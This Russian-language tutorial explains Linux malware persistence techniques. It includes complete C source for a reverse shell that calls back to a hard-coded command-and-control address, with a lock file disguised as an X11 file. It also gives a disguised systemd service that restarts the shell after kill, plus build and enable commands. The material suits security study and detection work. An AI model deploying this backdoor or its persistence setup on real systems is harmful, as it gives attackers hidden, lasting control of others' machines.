При первом запуске вредонос пытается закрепиться в системе, чтобы остаться активным после перезагрузки, выхода из учетной записи или команды kill. Если исходный способ проникновения заблокировать — например сменив пароль или обновив систему, — вредонос уже иметь альтернативный путь для сохранения доступа.
В Linux закрепиться можно множеством способов. Некоторые образцы вредоноса перепробуют разные варианты и выбирают рабочий. Вот девять техник, встречающихся в реальных вредоносах:
- systemd system service
- init.d
- crontab @reboot
- systemd user timer
- .bashrc
- systemd user service
- XDG Autostart
- udev rule
- LD_PRELOAD
Минимальный вредонос
Для демонстрации закрепления напишу простой реверс-шелл. Это программа, устанавливающая обратное соединение: сервер подключается к нам, предоставляя интерактивный шелл.
Вот основной код:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#define C2_IP "192.168.0.153"
#define C2_PORT 1337
int main(void){
int lf = open("/tmp/.X11-lock", O_CREAT | O_RDWR, 0600);
if(lf < 0 || flock(lf, LOCK_EX | LOCK_NB) < 0)
return 1;
signal(SIGCHLD, SIG_IGN);
for(;;){
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(C2_PORT),
};
inet_pton(AF_INET, C2_IP, &sa.sin_addr);
if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0){
if(fork() == 0){
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execl("/bin/bash", "bash", NULL);
}
}
close(s);
sleep(600);
}
}
Программа открывает файл /tmp/.X11-lock и ставит на него эксклюзивную блокировку через flock. Если файл уже заблокирован, копия работает, и мы молча выходим. Так гарантируется, что одновременно работает только один экземпляр. Имя файла выбрано маскирующимся под X11 — в /tmp такие файлы никого не удивят.
SIGCHLD устанавливаем в SIG_IGN, чтобы завершившиеся дочерние процессы не становились зомби. Затем запускаем бесконечный цикл: пытаемся подключиться к командному серверу, при успехе вызываем fork(). Дочерний процесс получает шелл через dup2 и execl, родительский закрывает сокет, ждет десять минут и пробует снова. Если оператор отключится, через десять минут придет новое соединение.
Собираем и кладем в /opt:
gcc -o poc poc.c -O3
strip poc
cp poc /opt/poc
На своей машине запускаем слушатель на порту 1337.
Запуск при загрузке системы
systemd service
Самый прямолинейный способ. Создаем юнит-файл в /etc/systemd/system/, и systemd будет запускать бинарник при каждой загрузке. Название выбираем неброское: например, not_malware.
Конфиг для not_malware.service:
[Unit]
Description=System Monitor Service
After=network.target
[Service]
Type=simple
ExecStart=/opt/poc
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
After=network.target ждет готовности сети, иначе реверс-шелл попытается подключиться до готовности интерфейса. Restart=always плюс RestartSec=10 означают: если процесс завершится (например через kill), systemd перезапустит его через десять секунд. WantedBy=multi-user.target включает сервис в обычный многопользовательский режим, то есть при практически любой загрузке.
Активируем:
systemctl daemon-reload
systemctl enable --now not_malware.service
Флаг --now сразу запускает сервис. Проверяем статус:
systemctl status not_malware.service
Сервис активен и будет запускаться при каждой загрузке. Для проверки перезапуска найдем процесс, убьем его и посмотрим, запустится ли снова:
$ ps aux | grep poc
root 4536 0.0 0.0 2472 1024 ? Ss 23:08 0:00 /opt/poc
$ sudo kill 4536
$ ps aux | grep poc
root 4618 0.0 0.0 2472 1024 ? Ss 23:14 0:00 /opt/poc
Работает. Но способ заметный: юнит-файл лежит открыто, а команда systemctl list-unit-files --state=enabled покажет включенный сервис.
Чтобы удалить сервис:
systemctl disable --now not_malware.service
rm /etc/systemd/system/not_malware.service
systemctl daemon-reload
init.d
До появления systemd в Linux использовали SysVinit. Сервисы описывались скриптами оболочки в /etc/init.d/. Каждый скрипт должен был обрабатывать аргументы start, stop и restart. Команда service передавала скриптам эти аргументы.
В SysVinit режимы работы системы называют runlevel. Основные: 0 (выключение), 1 (однопользовательский), 2–5 (обычная работа), 6 (перезагрузка).
Для каждого уровня запуска есть свой каталог: /etc/rc.d/rc0.d/ до /etc/rc.d/rc6.d/ (в Debian они в /etc/ напрямую). Внутри — символические ссылки на скрипты из /etc/init.d/. Ссылка вида S99not_malware означает «запустить на этом уровне», K01not_malware означает «остановить».
